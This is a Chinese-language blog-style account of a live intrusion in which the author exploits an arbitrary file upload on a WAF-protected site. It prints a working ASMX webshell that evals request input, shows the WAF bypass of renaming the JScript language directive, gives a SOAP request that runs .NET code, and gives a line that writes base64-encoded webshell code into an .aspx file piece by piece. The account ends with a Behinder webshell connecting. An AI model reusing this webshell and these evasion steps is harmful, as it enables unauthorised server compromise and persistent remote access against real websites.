asmx webshell之旅 这是一次实战中的经历
遇到一个存在任意文件上传的上传点。但是网站有waf,带有恶意流量就会拦截。这个waf确实有点东西,base64和简单的替换字符都会被识别并且拦截。
尝试了一遍后缀名,发现只可以上传asmx文件,所以开始尝试能不能用asmx去getshell
发现了一个师傅的文章:https://www.jianshu.com/p/a189e0d1790b
通过构造:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <%@ WebService Language="JScript" class="asmxWebMethodSpy"%> import System; import System.Web; import System.IO; import System.Web.Services; public class asmxWebMethodSpy extends WebService { WebMethodAttribute function Invoke(Ivan: String) : Void { var I = HttpContext.Current; var Request = I.Request; var Response = I.Response; var Server = I.Server; Response.Write("<H1>Just for Research Learning, Do Not Abuse It! Written By <a href='https://github.com/Ivan1ee'>Ivan1ee</a></H1>"); eval(Ivan); } }
可以实现.net代码执行
在上传的时候就遇到了第一个问题,被waf拦截了,于是我部分删除来探测是哪条语句被waf识别,最终发现是
language=jscript
被识别。将他改成 language=javascript
就可以绕过这层waf。
成功上传以后访问会是如下页面
发送以下数据包会执行 .net 代码打印出时间。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /UploadFiles/Content/file/xxx HTTP/1.1 Host : xxx.xxx.xxxContent-Type : text/xml; charset=utf-8Content-Length : 1771SOAPAction : "http://tempuri.org/Invoke" <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <Invoke xmlns="http://tempuri.org/"> <Ivan>Response.Write(DateTime.Now);</Ivan> </Invoke> </soap:Body> </soap:Envelope>
但这个地方是通过soap来传递参数,蚁剑和🔪是连接不了的。
而当传执行命令的代码时,果不其然又被拦截了,离谱的是连base64过后或者替换的都不行。
于是决定写一个webshell进去。
一开始想直接写进去,但是直接写果不其然也被拦了。然后尝试整个base,也不行。
最后我放弃了,决定一行一行的写进去,构造了一会,代码如下:
1 System.IO.File.WriteAllText("D:\\CDTRW\\UploadFiles\\Person\\8.aspx", System.IO.File.ReadAllText("D:\\CDTRW\\UploadFiles\\Person\\8.aspx")+"\n"+System.Text.Encoding.Default.GetString(System.Convert.FromBase64String('PCUKdmFyIGE9UmVxdWVzdC5Gb3JtKCJ4Iik7')));
直接 System.IO.File.WriteAllText
会覆写文件,用这行代码可以续写进文件。
直接访问还会报错说全局主题未定义,很难顶,添加如下代码即可
1 <% EnableTheming = "False" StylesheetTheme="" Theme="" %>
一开始写的蚁剑,连接被拦截,后来写了冰蝎总算是成了。
这是一个整整搞了一个下午的站 T_T